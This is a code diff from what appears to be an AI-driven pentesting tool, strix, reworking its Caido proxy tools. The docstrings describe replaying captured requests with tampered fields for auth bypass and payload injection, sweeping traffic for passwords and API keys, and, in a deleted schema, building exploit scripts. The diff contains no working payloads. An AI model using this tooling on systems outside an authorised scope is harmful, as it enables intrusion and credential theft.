- "response_time_ms": response_time,
- "url": response.url,
- "original_request_id": request_id,
- "modifications_applied": modifications,
- "request": {
- "method": request_data["method"],
- "url": request_data["url"],
- "headers": request_data["headers"],
- "has_body": bool(request_data["body"]),
- },
- }
-
- except ProxyError as e:
- return {
- "error": "Proxy connection failed - is Caido running?",
- "details": str(e),
- "original_request_id": request_id,
- }
- except (RequestException, Timeout) as e:
- return {
- "error": f"Failed to repeat request: {type(e).__name__}",
- "details": str(e),
- "original_request_id": request_id,
- }
-
- def _handle_scope_list(self) -> dict[str, Any]:
- result = self.client.execute(gql("query { scopes { id name allowlist denylist indexed } }"))
- scopes = result.get("scopes", [])
- return {"scopes": scopes, "count": len(scopes)}
-
- def _handle_scope_get(self, scope_id: str | None) -> dict[str, Any]:
- if not scope_id:
- return self._handle_scope_list()
-
- result = self.client.execute(
- gql(
- "query GetScope($id: ID!) { scope(id: $id) { id name allowlist denylist indexed } }"
- ),
- variable_values={"id": scope_id},
- )
- scope = result.get("scope")
- if not scope:
- return {"error": f"Scope {scope_id} not found"}
- return {"scope": scope}
-
- def _handle_scope_create(
- self, scope_name: str, allowlist: list[str] | None, denylist: list[str] | None
- ) -> dict[str, Any]:
- if not scope_name:
- return {"error": "scope_name required for create"}
-
- mutation = gql("""
- mutation CreateScope($input: CreateScopeInput!) {
- createScope(input: $input) {
- scope { id name allowlist denylist indexed }
- error {
- ... on InvalidGlobTermsUserError { code terms }
- ... on OtherUserError { code }
- }
- }
- }
- """)
-
- result = self.client.execute(
- mutation,
- variable_values={
- "input": {
- "name": scope_name,
- "allowlist": allowlist or [],
- "denylist": denylist or [],
- }
- },
- )
-
- payload = result.get("createScope", {})
- if payload.get("error"):
- error = payload["error"]
- return {"error": f"Invalid glob patterns: {error.get('terms', error.get('code'))}"}
-
- return {"scope": payload.get("scope"), "message": "Scope created successfully"}
-
- def _handle_scope_update(
- self,
- scope_id: str,
- scope_name: str,
- allowlist: list[str] | None,
- denylist: list[str] | None,
- ) -> dict[str, Any]:
- if not scope_id or not scope_name:
- return {"error": "scope_id and scope_name required"}
-
- mutation = gql("""
- mutation UpdateScope($id: ID!, $input: UpdateScopeInput!) {
- updateScope(id: $id, input: $input) {
- scope { id name allowlist denylist indexed }
- error {
- ... on InvalidGlobTermsUserError { code terms }
- ... on OtherUserError { code }
- }
- }
- }
- """)
-
- result = self.client.execute(
- mutation,
- variable_values={
- "id": scope_id,
- "input": {
- "name": scope_name,
- "allowlist": allowlist or [],
- "denylist": denylist or [],
- },
- },
- )
-
- payload = result.get("updateScope", {})
- if payload.get("error"):
- error = payload["error"]
- return {"error": f"Invalid glob patterns: {error.get('terms', error.get('code'))}"}
-
- return {"scope": payload.get("scope"), "message": "Scope updated successfully"}
-
- def _handle_scope_delete(self, scope_id: str) -> dict[str, Any]:
- if not scope_id:
- return {"error": "scope_id required for delete"}
-
- result = self.client.execute(
- gql("mutation DeleteScope($id: ID!) { deleteScope(id: $id) { deletedId } }"),
- variable_values={"id": scope_id},
- )
-
- payload = result.get("deleteScope", {})
- if not payload.get("deletedId"):
- return {"error": f"Failed to delete scope {scope_id}"}
- return {"message": f"Scope {scope_id} deleted", "deletedId": payload["deletedId"]}
-
- def scope_rules(
- self,
- action: str,
- allowlist: list[str] | None = None,
- denylist: list[str] | None = None,
- scope_id: str | None = None,
- scope_name: str | None = None,
- ) -> dict[str, Any]:
- handlers: dict[str, Callable[[], dict[str, Any]]] = {
- "list": self._handle_scope_list,
- "get": lambda: self._handle_scope_get(scope_id),
- "create": lambda: (
- {"error": "scope_name required for create"}
- if not scope_name
- else self._handle_scope_create(scope_name, allowlist, denylist)
- ),
- "update": lambda: (
- {"error": "scope_id and scope_name required"}
- if not scope_id or not scope_name
- else self._handle_scope_update(scope_id, scope_name, allowlist, denylist)
- ),
- "delete": lambda: (
- {"error": "scope_id required for delete"}
- if not scope_id
- else self._handle_scope_delete(scope_id)
- ),
- }
-
- handler = handlers.get(action)
- if not handler:
- return {
- "error": f"Unsupported action: {action}. Use 'get', 'list', 'create', "
- f"'update', or 'delete'"
- }
-
- try:
- result = handler()
- except (TransportQueryError, ValueError, KeyError) as e:
- return {"error": f"Scope operation failed: {e}"}
- else:
- return result
-
- def list_sitemap(
- self,
- scope_id: str | None = None,
- parent_id: str | None = None,
- depth: str = "DIRECT",
- page: int = 1,
- page_size: int = 30,
- ) -> dict[str, Any]:
- try:
- skip_count = (page - 1) * page_size
-
- if parent_id:
- query = gql("""
- query GetSitemapDescendants($parentId: ID!, $depth: SitemapDescendantsDepth!) {
- sitemapDescendantEntries(parentId: $parentId, depth: $depth) {
- edges {
- node {
- id kind label hasDescendants
- request { method path response { statusCode } }
- }
- }
- count { value }
- }
- }
- """)
- result = self.client.execute(
- query, variable_values={"parentId": parent_id, "depth": depth}
- )
- data = result.get("sitemapDescendantEntries", {})
- else:
- query = gql("""
- query GetSitemapRoots($scopeId: ID) {
- sitemapRootEntries(scopeId: $scopeId) {
- edges { node {
- id kind label hasDescendants
- metadata { ... on SitemapEntryMetadataDomain { isTls port } }
- request { method path response { statusCode } }
- } }
- count { value }
- }
- }
- """)
- result = self.client.execute(query, variable_values={"scopeId": scope_id})
- data = result.get("sitemapRootEntries", {})
-
- all_nodes = [edge["node"] for edge in data.get("edges", [])]
- count_data = data.get("count") or {}
- total_count = count_data.get("value", 0)
-
- paginated_nodes = all_nodes[skip_count : skip_count + page_size]
- cleaned_nodes = []
-
- for node in paginated_nodes:
- cleaned = {
- "id": node["id"],
- "kind": node["kind"],
- "label": node["label"],
- "hasDescendants": node["hasDescendants"],
- }
-
- if node.get("metadata") and (
- node["metadata"].get("isTls") is not None or node["metadata"].get("port")
- ):
- cleaned["metadata"] = node["metadata"]
-
- if node.get("request"):
- req = node["request"]
- cleaned_req = {}
- if req.get("method"):
- cleaned_req["method"] = req["method"]
- if req.get("path"):
- cleaned_req["path"] = req["path"]
- response_data = req.get("response") or {}
- if response_data.get("statusCode"):
- cleaned_req["status"] = response_data["statusCode"]
- if cleaned_req:
- cleaned["request"] = cleaned_req
-
- cleaned_nodes.append(cleaned)
-
- total_pages = (total_count + page_size - 1) // page_size
-
- return {
- "entries": cleaned_nodes,
- "page": page,
- "page_size": page_size,
- "total_pages": total_pages,
- "total_count": total_count,
- "has_more": page < total_pages,
- "showing": (
- f"{skip_count + 1}-{min(skip_count + page_size, total_count)} of {total_count}"
- ),
- }
-
- except (TransportQueryError, ValueError, KeyError) as e:
- return {"error": f"Failed to fetch sitemap: {e}"}
-
- def _process_sitemap_metadata(self, node: dict[str, Any]) -> dict[str, Any]:
- cleaned = {
- "id": node["id"],
- "kind": node["kind"],
- "label": node["label"],
- "hasDescendants": node["hasDescendants"],
- }
-
- if node.get("metadata") and (
- node["metadata"].get("isTls") is not None or node["metadata"].get("port")
- ):
- cleaned["metadata"] = node["metadata"]
-
- return cleaned
-
- def _process_sitemap_request(self, req: dict[str, Any]) -> dict[str, Any] | None:
- cleaned_req = {}
- if req.get("method"):
- cleaned_req["method"] = req["method"]
- if req.get("path"):
- cleaned_req["path"] = req["path"]
- response_data = req.get("response") or {}
- if response_data.get("statusCode"):
- cleaned_req["status"] = response_data["statusCode"]
- return cleaned_req if cleaned_req else None
-
- def _process_sitemap_response(self, resp: dict[str, Any]) -> dict[str, Any]:
- cleaned_resp = {}
- if resp.get("statusCode"):
- cleaned_resp["status"] = resp["statusCode"]
- if resp.get("length"):
- cleaned_resp["size"] = resp["length"]
- if resp.get("roundtripTime"):
- cleaned_resp["time_ms"] = resp["roundtripTime"]
- return cleaned_resp
-
- def view_sitemap_entry(self, entry_id: str) -> dict[str, Any]:
- try:
- query = gql("""
- query GetSitemapEntry($id: ID!) {
- sitemapEntry(id: $id) {
- id kind label hasDescendants
- metadata { ... on SitemapEntryMetadataDomain { isTls port } }
- request { method path response { statusCode length roundtripTime } }
- requests(first: 30, order: {by: CREATED_AT, ordering: DESC}) {
- edges { node { method path response { statusCode length } } }
- count { value }
- }
- }
- }
- """)
-
- result = self.client.execute(query, variable_values={"id": entry_id})
- entry = result.get("sitemapEntry")
-
- if not entry:
- return {"error": f"Sitemap entry {entry_id} not found"}
-
- cleaned = self._process_sitemap_metadata(entry)
-
- if entry.get("request"):
- req = entry["request"]
- cleaned_req = {}
- if req.get("method"):
- cleaned_req["method"] = req["method"]
- if req.get("path"):
- cleaned_req["path"] = req["path"]
- if req.get("response"):
- cleaned_req["response"] = self._process_sitemap_response(req["response"])
- if cleaned_req:
- cleaned["request"] = cleaned_req
-
- requests_data = entry.get("requests", {})
- request_nodes = [edge["node"] for edge in requests_data.get("edges", [])]
-
- cleaned_requests = [
- req
- for req in (self._process_sitemap_request(node) for node in request_nodes)
- if req is not None
- ]
-
- count_data = requests_data.get("count") or {}
- cleaned["related_requests"] = {
- "requests": cleaned_requests,
- "total_count": count_data.get("value", 0),
- "showing": f"Latest {len(cleaned_requests)} requests",
- }
-
- return {"entry": cleaned} if cleaned else {"error": "Failed to process sitemap entry"} # noqa: TRY300
-
- except (TransportQueryError, ValueError, KeyError) as e:
- return {"error": f"Failed to fetch sitemap entry: {e}"}
-
- def close(self) -> None:
- pass
-
-
-_PROXY_MANAGER: ProxyManager | None = None
-
-
-def get_proxy_manager() -> ProxyManager:
- if _PROXY_MANAGER is None:
- return ProxyManager()
- return _PROXY_MANAGER
diff --git a/strix/tools/proxy/tools.py b/strix/tools/proxy/tools.py
new file mode 100644
index 000000000..db8a6b245
--- /dev/null
+++ b/strix/tools/proxy/tools.py
@@ -0,0 +1,596 @@
+"""Caido proxy host-side @function_tool wrappers around caido_api.py."""
+
+from __future__ import annotations
+
+import dataclasses
+import json
+import logging
+import re
+from dataclasses import is_dataclass
+from datetime import datetime
+from typing import TYPE_CHECKING, Any, Literal
+
+from agents import RunContextWrapper, function_tool
+
+from strix.tools.proxy import caido_api
+
+
+logger = logging.getLogger(__name__)
+
+
+if TYPE_CHECKING:
+ from caido_sdk_client import Client
+
+ from strix.tools.proxy.caido_api import (
+ RequestPart,
+ SitemapDepth,
+ SortBy,
+ SortOrder,
+ )
+else:
+ from strix.tools.proxy.caido_api import ( # noqa: TC001
+ RequestPart,
+ SitemapDepth,
+ SortBy,
+ SortOrder,
+ )
+
+
+ScopeAction = Literal["get", "list", "create", "update", "delete"]
+
+
+def _ctx_client(ctx: RunContextWrapper) -> Client | None:
+ inner = ctx.context if isinstance(ctx.context, dict) else {}
+ return inner.get("caido_client")
+
+
+def _to_tool_json(value: Any) -> Any:
+ """Recursively convert SDK dataclasses/Pydantic objects to tool JSON values."""
+ if value is None or isinstance(value, str | int | float | bool):
+ return value
+ if isinstance(value, bytes):
+ try:
+ return value.decode("utf-8", errors="replace")
+ except Exception: # noqa: BLE001
+ return value.hex()
+ if isinstance(value, datetime):
+ return value.isoformat()
+ if is_dataclass(value) and not isinstance(value, type):
+ return {k: _to_tool_json(v) for k, v in dataclasses.asdict(value).items()}
+ if hasattr(value, "model_dump"):
+ return _to_tool_json(value.model_dump())
+ if isinstance(value, dict):
+ return {str(k): _to_tool_json(v) for k, v in value.items()}
+ if isinstance(value, list | tuple | set):
+ return [_to_tool_json(v) for v in value]
+ return str(value)
+
+
+def _no_client() -> str:
+ return json.dumps(
+ {"success": False, "error": "Caido client not available in run context"},
+ ensure_ascii=False,
+ default=str,
+ )
+
+
+def _err(name: str, exc: Exception) -> str:
+ logger.exception("%s failed", name)
+ return json.dumps(
+ {"success": False, "error": f"{name} failed: {exc}"},
+ ensure_ascii=False,
+ default=str,
+ )
+
+
+@function_tool(timeout=120)
+async def list_requests(
+ ctx: RunContextWrapper,
+ httpql_filter: str | None = None,
+ first: int = 50,
+ after: str | None = None,
+ sort_by: SortBy = "timestamp",
+ sort_order: SortOrder = "desc",
+ scope_id: str | None = None,
+) -> str:
+ """List captured HTTP requests from the Caido proxy with HTTPQL filtering.
+
+ Caido HTTPQL syntax (operators differ by field type):
+
+ - **Integer fields** (``resp.code``, ``req.port``, ``id``,
+ ``roundtrip``) — ``eq``, ``gt``, ``gte``, ``lt``, ``lte``, ``ne``.
+ Examples: ``resp.code.eq:200``, ``resp.code.gte:400``,
+ ``req.port.eq:443``.
+ - **Text/byte fields** (``req.method``, ``req.host``, ``req.path``,
+ ``req.query``, ``req.ext``, ``req.raw``) — ``regex``, ``cont``
+ (substring), ``eq``. Examples: ``req.method.eq:"POST"``,
+ ``req.path.cont:"/api/"``, ``req.host.regex:".*\\.example\\.com"``.
+ - **Date fields** (``req.created_at``) — ``gt``, ``lt`` with ISO
+ timestamps: ``req.created_at.gt:"2024-01-01T00:00:00Z"``.
+ - **Combine** with ``AND`` / ``OR``: ``req.method.eq:"POST" AND
+ resp.code.gte:400``.
+ - **Special**: ``source:intercept`` (only intercepted requests),
+ ``preset:"name"``.
+
+ For sitemap-style tree traversal use HTTPQL filters: drill into a
+ host with ``req.host.eq:"example.com"`` then narrow paths with
+ ``req.path.cont:"/api/"``.
+
+ Pagination is cursor-based. Pass the ``end_cursor`` from the
+ ``page_info`` of one call as ``after`` to the next.
+
+ Notes:
+
+ - HTTPQL has **no ``NOT`` operator**. Use the negated form of the
+ operator instead: ``ne``, ``ncont``, ``nlike``, ``nregex``
+ (e.g. ``req.path.ncont:"/static"`` to exclude static paths).
+ - String values **must be quoted**; integer values **must not**.
+ ``resp.code.eq:200`` is right; ``resp.code.eq:"200"`` is a parse
+ error. Same rule for ``cont`` / ``regex`` strings.
+ - A bare quoted string searches both ``req.raw`` and ``resp.raw``,
+ handy for sensitive-data sweeps:
+ ``"password" OR "secret" OR "api_key"``.
+
+ Args:
+ httpql_filter: Caido HTTPQL query (optional).
+ first: Number of entries to return (default 50).
+ after: Cursor from a previous response's ``page_info.end_cursor``.
+ sort_by: One of ``timestamp`` / ``host`` / ``method`` / ``path``
+ / ``status_code`` / ``response_time`` / ``response_size``
+ / ``source``.
+ sort_order: ``asc`` or ``desc``.
+ scope_id: Restrict to a Caido scope (managed via ``scope_rules``).
+ """
+ client = _ctx_client(ctx)
+ if client is None:
+ return _no_client()
+
+ try:
+ connection = await caido_api.list_requests_with_client(
+ client,
+ httpql_filter=httpql_filter,
+ first=first,
+ after=after,
+ sort_by=sort_by,
+ sort_order=sort_order,
+ scope_id=scope_id,
+ )
+
+ entries = []
+ for edge in connection.edges:
+ req = edge.node.request
+ resp = edge.node.response
+ response_payload: dict[str, Any] | None = None
+ if resp is not None:
+ response_payload = {
+ "id": resp.id,
+ "status_code": resp.status_code,
+ "length": resp.length,
+ "created_at": resp.created_at.isoformat(),
+ }
+ # Caido populates ``roundtripTime`` for some traffic sources
+ # and leaves it as ``0`` for others (notably proxy captures
+ # of upstream env-routed traffic). Surface the value only
+ # when it's actually measured so the model doesn't waste
+ # tokens reading a zero field on every entry.
+ if resp.roundtrip_time:
+ response_payload["roundtrip_ms"] = resp.roundtrip_time
+ entries.append(
+ {
+ "cursor": edge.cursor,
+ "request": {
+ "id": req.id,
+ "host": req.host,
+ "port": req.port,
+ "method": req.method,
+ "path": req.path,
+ "query": req.query,
+ "is_tls": req.is_tls,
+ "created_at": req.created_at.isoformat(),
+ },
+ "response": response_payload,
+ },
+ )
+
+ return json.dumps(
+ {
+ "success": True,
+ "entries": entries,
+ "page_info": {
+ "has_next_page": connection.page_info.has_next_page,
+ "has_previous_page": connection.page_info.has_previous_page,
+ "start_cursor": connection.page_info.start_cursor,
+ "end_cursor": connection.page_info.end_cursor,
+ },
+ },
+ ensure_ascii=False,
+ default=str,
+ )
+ except Exception as exc: # noqa: BLE001
+ return _err("list_requests", exc)
+
+
+@function_tool(timeout=60)
+async def view_request(
+ ctx: RunContextWrapper,
+ request_id: str,
+ part: RequestPart = "request",
+ search_pattern: str | None = None,
+ page: int = 1,
+ page_size: int = 50,
+) -> str:
+ """View a captured request or its response, optionally regex-searched.
+
+ Two modes:
+
+ - **With** ``search_pattern`` (compact regex hits) — returns up to 20
+ matches with ``before`` / ``after`` context and position. Useful
+ for hunting reflected input, leaked URLs, hidden parameters.
+ - **Without** ``search_pattern`` (full content with line pagination)
+ — returns the page of raw content plus ``has_more`` flag.
+
+ Common search patterns:
+
+ - API endpoints: ``/api/[a-zA-Z0-9._/-]+``
+ - URLs: ``https?://[^\\s<>"']+``
+ - Query parameters: ``[?&][a-zA-Z0-9_]+=([^&\\s<>"']+)``
+ - Specific input reflection: search for the value you submitted.
+
+ Args:
+ request_id: Request ID from ``list_requests``.
+ part: ``"request"`` or ``"response"``.
+ search_pattern: Optional regex; switches the response shape to
+ compact hits.
+ page: 1-indexed page number (only when no ``search_pattern``).
+ page_size: Lines per page.
+ """
+ client = _ctx_client(ctx)
+ if client is None:
+ return _no_client()
+
+ try:
+ result = await caido_api.get_request_with_client(client, request_id, part=part)
+ if result is None:
+ return json.dumps(
+ {"success": False, "error": f"Request {request_id} not found"},
+ ensure_ascii=False,
+ default=str,
+ )
+
+ raw_bytes = (
+ result.request.raw
+ if part == "request"
+ else (result.response.raw if result.response is not None else None)
+ )
+ if raw_bytes is None:
+ return json.dumps(
+ {
+ "success": False,
+ "error": f"No raw {part} for {request_id}",
+ },
+ ensure_ascii=False,
+ default=str,
+ )
+ content = raw_bytes.decode("utf-8", errors="replace")
+
+ if search_pattern:
+ return json.dumps(
+ _format_search_hits(content, search_pattern),
+ ensure_ascii=False,
+ default=str,
+ )
+
+ return json.dumps(
+ _format_text_page(content, page=page, page_size=page_size),
+ ensure_ascii=False,
+ default=str,
+ )
+ except Exception as exc: # noqa: BLE001
+ return _err("view_request", exc)
+
+
+def _format_search_hits(content: str, pattern: str) -> dict[str, Any]:
+ try:
+ regex = re.compile(pattern)
+ except re.error as exc:
+ return {"success": False, "error": f"Invalid regex: {exc}"}
+
+ hits = []
+ for match in regex.finditer(content):
+ start, end = match.span()
+ before = content[max(0, start - 40) : start]
+ after = content[end : end + 40]
+ hits.append(
+ {
+ "match": match.group(0),
+ "position": start,
+ "before": before,
+ "after": after,
+ },
+ )
+ if len(hits) >= 20:
+ break
+
+ return {"success": True, "hits": hits, "total_hits": len(hits)}
+
+
+def _format_text_page(content: str, *, page: int, page_size: int) -> dict[str, Any]:
+ lines = content.splitlines()
+ start = max(0, (page - 1) * page_size)
+ end = start + page_size
+ return {
+ "success": True,
+ "content": "\n".join(lines[start:end]),
+ "page": page,
+ "page_size": page_size,
+ "total_lines": len(lines),
+ "has_more": end < len(lines),
+ }
+
+
+@function_tool(timeout=120, strict_mode=False)
+async def repeat_request(
+ ctx: RunContextWrapper,
+ request_id: str,
+ modifications: dict[str, Any] | None = None,
+) -> str:
+ """Repeat a captured request, optionally patching individual fields.
+
+ The standard pentesting workflow with this tool:
+
+ 1. ``agent-browser`` (via ``exec_command``) or live target traffic
+ → request gets captured by Caido.
+ 2. ``list_requests`` → find the request ID you want to manipulate.
+ 3. ``repeat_request`` → send a modified version (auth-bypass test,
+ payload injection, parameter tampering).
+
+ Mirrors the manual "browse → capture → modify → test" flow used in
+ real pentesting. Inherits everything from the original request
+ (headers, cookies, auth, method, URL) and overlays only the fields
+ you specify in ``modifications``.
+
+ Args:
+ request_id: ID of the original request (from ``list_requests``).
+ modifications: Patch dict. Recognized keys:
+
+ - ``url`` — replace the URL.
+ - ``params`` — dict of query-string keys to add/update.
+ - ``headers`` — dict of headers to add/update.
+ - ``body`` — replace the body string entirely.
+ - ``cookies`` — dict of cookies to add/update.
+ """
+ client = _ctx_client(ctx)
+ if client is None:
+ return _no_client()
+ mods = modifications or {}
+
+ try:
+ result = await caido_api.get_request_with_client(client, request_id, part="request")
+ if result is None or result.request.raw is None:
+ return json.dumps(
+ {"success": False, "error": f"Request {request_id} not found"},
+ ensure_ascii=False,
+ default=str,
+ )
+
+ original = result.request
+ raw_str = result.request.raw.decode("utf-8", errors="replace")
+ components = caido_api.parse_raw_request(raw_str)
+ full_url = caido_api.full_url_from_components(original, components, mods)
+ modified = caido_api.apply_modifications(components, mods, full_url)
+ connection, raw = caido_api.build_raw_request(
+ method=modified["method"],
+ url=modified["url"],
+ headers=modified["headers"],
+ body=modified["body"],
+ )
+ replay = await caido_api.replay_send_raw(client, raw=raw, connection=connection)
+ return _format_replay_tool_result(replay)
+ except Exception as exc: # noqa: BLE001
+ return _err("repeat_request", exc)
+
+
+def _format_replay_tool_result(replay: dict[str, Any]) -> str:
+ response = caido_api.parse_raw_response(replay.get("response_raw"))
+ payload: dict[str, Any] = {
+ "success": replay["status"] == "DONE",
+ "status": replay["status"],
+ "session_id": replay["session_id"],
+ "elapsed_ms": replay["elapsed_ms"],
+ "response": response,
+ }
+ if replay.get("error"):
+ payload["error"] = replay["error"]
+ return json.dumps(payload, ensure_ascii=False, default=str)
+
+
+@function_tool(timeout=60)
+async def list_sitemap(
+ ctx: RunContextWrapper,
+ scope_id: str | None = None,
+ parent_id: str | None = None,
+ depth: SitemapDepth = "DIRECT",
+ page: int = 1,
+) -> str:
+ """Browse Caido's hierarchical sitemap of proxied traffic.
+
+ Caido aggregates every captured request into a tree:
+ ``DOMAIN`` → ``DIRECTORY`` (path segments) → ``REQUEST`` →
+ ``REQUEST_BODY`` / ``REQUEST_QUERY`` (variant per body/query shape).
+ Use this to understand the discovered attack surface, locate
+ promising directories, and pick endpoints worth deeper testing.
+
+ Workflow:
+ - Start with no ``parent_id`` to list root domains (scoped by
+ ``scope_id`` if you only care about in-scope hosts).
+ - Pick an entry where ``has_descendants=true`` and pass its ``id``
+ as ``parent_id`` to drill in. ``depth="DIRECT"`` returns only
+ immediate children; ``"ALL"`` flattens the full subtree.
+ - Hand any ``id`` to ``view_sitemap_entry`` for the full record
+ and recent matching requests.
+
+ Args:
+ scope_id: Limit roots to a Caido scope (only used when
+ ``parent_id`` is omitted). Manage scopes via ``scope_rules``.
+ parent_id: Entry ID to expand; omit for root domains.
+ depth: ``"DIRECT"`` (immediate children) or ``"ALL"``
+ (recursive subtree). Only meaningful with ``parent_id``.
+ page: 1-indexed page (30 entries per page).
+ """
+ client = _ctx_client(ctx)
+ if client is None:
+ return _no_client()
+ try:
+ payload = await caido_api.list_sitemap_with_client(
+ client,
+ scope_id=scope_id,
+ parent_id=parent_id,
+ depth=depth,
+ page=page,
+ )
+ return json.dumps(payload, ensure_ascii=False, default=str)
+ except Exception as exc: # noqa: BLE001
+ return _err("list_sitemap", exc)
+
+
+@function_tool(timeout=60)
+async def view_sitemap_entry(
+ ctx: RunContextWrapper,
+ entry_id: str,
+) -> str:
+ """Get full detail for a sitemap entry plus its recent requests.
+
+ Returns the entry's metadata, the primary request shape
+ (method/path/response if any), and the most recent 30 related
+ requests that fall under this entry. Pair with ``list_sitemap`` to
+ pick the ``entry_id``.
+
+ Args:
+ entry_id: ID from ``list_sitemap`` (or any nested entry).
+ """
+ client = _ctx_client(ctx)
+ if client is None:
+ return _no_client()
+ try:
+ payload = await caido_api.view_sitemap_entry_with_client(client, entry_id)
+ return json.dumps(payload, ensure_ascii=False, default=str)
+ except Exception as exc: # noqa: BLE001
+ return _err("view_sitemap_entry", exc)
+
+
+@function_tool(timeout=60)
+async def scope_rules(
+ ctx: RunContextWrapper,
+ action: ScopeAction,
+ allowlist: list[str] | None = None,
+ denylist: list[str] | None = None,
+ scope_id: str | None = None,
+ scope_name: str | None = None,
+) -> str:
+ """CRUD on Caido scope rules (allow/deny patterns).
+
+ Scopes filter which traffic Caido tools see. Use them to focus on a
+ target, exclude noisy assets (CDNs, static files), or define a
+ bug-bounty allowlist.
+
+ Pattern semantics:
+
+ - Glob wildcards: ``*`` (any), ``?`` (single), ``[abc]`` (one of),
+ ``[a-z]`` (range), ``[^abc]`` (none of).
+ - **Empty allowlist = allow all domains.**
+ - **Denylist always overrides allowlist.**
+
+ Common denylist for noisy static assets:
+ ``["*.gif", "*.jpg", "*.png", "*.css", "*.js", "*.ico", "*.svg",
+ "*woff*", "*.ttf"]``.
+
+ Each scope has a unique id usable as ``scope_id`` in
+ ``list_requests``.
+
+ Args:
+ action:
+
+ - ``list`` — return all scopes.
+ - ``get`` — single scope by ``scope_id``.
+ - ``create`` — needs ``scope_name``, optionally
+ ``allowlist`` / ``denylist``.
+ - ``update`` — needs ``scope_id`` + ``scope_name``;
+ allowlist / denylist replace the previous values.
+ - ``delete`` — needs ``scope_id``.
+
+ allowlist: Domain patterns to include (e.g.
+ ``["*.example.com", "api.test.com"]``).
+ denylist: Patterns to exclude.
+ scope_id: Required for ``get`` / ``update`` / ``delete``.
+ scope_name: Required for ``create`` / ``update``.
+ """
+ client = _ctx_client(ctx)
+ if client is None:
+ return _no_client()
+
+ try:
+ if action == "list":
+ scopes = await caido_api.scope_list(client)
+ return json.dumps(
+ {"success": True, "scopes": [_to_tool_json(s) for s in scopes]},
+ ensure_ascii=False,
+ default=str,
+ )
+ if action == "get":
+ if not scope_id:
+ return json.dumps(
+ {"success": False, "error": "Scope_id is required for action='get'"},
+ ensure_ascii=False,
+ default=str,
+ )
+ scope = await caido_api.scope_get(client, scope_id)
+ return json.dumps(
+ {"success": True, "scope": _to_tool_json(scope)}, ensure_ascii=False, default=str
+ )
+ if action == "create":
+ if not scope_name:
+ return json.dumps(
+ {"success": False, "error": "Scope_name is required for action='create'"},
+ ensure_ascii=False,
+ default=str,
+ )
+ scope = await caido_api.scope_create(
+ client, name=scope_name, allowlist=allowlist, denylist=denylist
+ )
+ return json.dumps(
+ {"success": True, "scope": _to_tool_json(scope)}, ensure_ascii=False, default=str
+ )
+ if action == "update":
+ if not scope_id or not scope_name:
+ return json.dumps(
+ {
+ "success": False,
+ "error": "Scope_id and scope_name are required for action='update'",
+ },
+ ensure_ascii=False,
+ default=str,
+ )
+ scope = await caido_api.scope_update(
+ client, scope_id, name=scope_name, allowlist=allowlist, denylist=denylist
+ )
+ return json.dumps(
+ {"success": True, "scope": _to_tool_json(scope)}, ensure_ascii=False, default=str
+ )
+ if not scope_id:
+ return json.dumps(
+ {"success": False, "error": "Scope_id is required for action='delete'"},
+ ensure_ascii=False,
+ default=str,
+ )
+ await caido_api.scope_delete(client, scope_id)
+ return json.dumps(
+ {
+ "success": True,
+ "deleted": scope_id,
+ "message": f"Scope {scope_id} deleted",
+ },
+ ensure_ascii=False,
+ default=str,
+ )
+ except Exception as exc: # noqa: BLE001
+ return _err("scope_rules", exc)
diff --git a/strix/tools/python/__init__.py b/strix/tools/python/__init__.py
deleted file mode 100644
index 7516109f2..000000000
--- a/strix/tools/python/__init__.py
+++ /dev/null
@@ -1,4 +0,0 @@
-from .python_actions import python_action
-
-
-__all__ = ["python_action"]
diff --git a/strix/tools/python/python_actions.py b/strix/tools/python/python_actions.py
deleted file mode 100644
index c5b002b5e..000000000
--- a/strix/tools/python/python_actions.py
+++ /dev/null
@@ -1,47 +0,0 @@
-from typing import Any, Literal
-
-from strix.tools.registry import register_tool
-
-from .python_manager import get_python_session_manager
-
-
-PythonAction = Literal["new_session", "execute", "close", "list_sessions"]
-
-
-@register_tool
-def python_action(
- action: PythonAction,
- code: str | None = None,
- timeout: int = 30,
- session_id: str | None = None,
-) -> dict[str, Any]:
- def _validate_code(action_name: str, code: str | None) -> None:
- if not code:
- raise ValueError(f"code parameter is required for {action_name} action")
-
- def _validate_action(action_name: str) -> None:
- raise ValueError(f"Unknown action: {action_name}")
-
- manager = get_python_session_manager()
-
- try:
- match action:
- case "new_session":
- return manager.create_session(session_id, code, timeout)
-
- case "execute":
- _validate_code(action, code)
- assert code is not None
- return manager.execute_code(session_id, code, timeout)
-
- case "close":
- return manager.close_session(session_id)
-
- case "list_sessions":
- return manager.list_sessions()
-
- case _:
- _validate_action(action) # type: ignore[unreachable]
-
- except (ValueError, RuntimeError) as e:
- return {"stderr": str(e), "session_id": session_id, "stdout": "", "is_running": False}
diff --git a/strix/tools/python/python_actions_schema.xml b/strix/tools/python/python_actions_schema.xml
deleted file mode 100644
index c19e681ac..000000000
--- a/strix/tools/python/python_actions_schema.xml
+++ /dev/null
@@ -1,131 +0,0 @@
-
-
-
- Perform Python actions using persistent interpreter sessions for cybersecurity tasks.
- Common Use Cases:
- - Security script development and testing (payload generation, exploit scripts)
- - Data analysis of security logs, network traffic, or vulnerability scans
- - Cryptographic operations and security tool automation
- - Interactive penetration testing workflows and proof-of-concept development
- - Processing security data formats (JSON, XML, CSV from security tools)
- - HTTP proxy interaction for web security testing (all proxy functions are pre-imported)
-
- Each session instance is PERSISTENT and maintains its own global and local namespaces
- until explicitly closed, allowing for multi-step security workflows and stateful computations.
-
- PROXY FUNCTIONS PRE-IMPORTED:
- All proxy action functions are automatically imported into every Python session, enabling
- seamless HTTP traffic analysis and web security testing
-
- This is particularly useful for:
- - Analyzing captured HTTP traffic during web application testing
- - Automating request manipulation and replay attacks
- - Building custom security testing workflows combining proxy data with Python analysis
- - Correlating multiple requests for advanced attack scenarios
-
-
- The Python action to perform: - new_session: Create a new Python interpreter session. This MUST be the first action for each session. - execute: Execute Python code in the specified session. - close: Close the specified session instance. - list_sessions: List all active Python sessions.
-
-
- Required for 'new_session' (as initial code) and 'execute' actions. The Python code to execute.
-
-
- Maximum execution time in seconds for code execution. Applies to both 'new_session' (when initial code is provided) and 'execute' actions. Default is 30 seconds.
-
-
- Unique identifier for the Python session. If not provided, uses the default session ID.
-
-
-
- Response containing: - session_id: the ID of the session that was operated on - stdout: captured standard output from code execution (for execute action) - stderr: any error message if execution failed - result: string representation of the last expression result - execution_time: time taken to execute the code - message: status message about the action performed - Various session info depending on the action
-
-
- Important usage rules:
- 1. PERSISTENCE: Session instances remain active and maintain their state (variables,
- imports, function definitions) until explicitly closed with the 'close' action.
- This allows for multi-step workflows across multiple tool calls.
- 2. MULTIPLE SESSIONS: You can run multiple Python sessions concurrently by using
- different session_id values. Each session operates independently with its own
- namespace.
